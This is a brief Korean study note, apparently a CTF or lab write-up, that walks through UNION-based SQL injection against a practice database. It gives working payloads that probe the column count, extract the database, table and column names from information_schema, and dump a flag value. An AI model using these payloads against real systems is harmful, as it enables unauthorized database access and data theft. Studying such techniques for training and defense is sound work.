응용 프로그램 보안 상의 허점을 의도적으로 이용해, 악의적인 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 공격 기법
• 로그인 우회
• 데이터 추출,탈취
SQL 질의문이 화면에 보이는 경우 실행
Union SQL
-> 두 개 이상의 SELECT문의 결과 집합을 결합하는 데 사용
-> SELECT문의 컬럼 개수는 동일해야함
Select ~~ from ~~ where id like '%~%'
-> 특정단어를 포함하는 데이터 추출
mario%' and '1%'='1
Select ~~ order by (Column 이름 or 숫자)
-> 특정 Column 기준으로 정렬
ex) Select id,pass from memeber order by 1 -> id기준으로 정렬
mario%' order by 1~n #
5 대입 시 결과값이 없는 것으로 보아
Column 개수 : 4
mario%' union select 1,2,3,4 #
Select database()
-> DB name 추출
mario%' union select database(),2,3,4 #
Database 이름 : sqli_1
Select table_name from information_schema.tables where table_schema='sqli_1'
-> table name 추출
mario%' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' #
Table 이름 : flag_table
Select column_name from information_schema.columns where table_name='flag_table'
-> column name 추출
mario%' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' #
Column 이름 : flag
mario%' union select flag,2,3,4 from flag_table #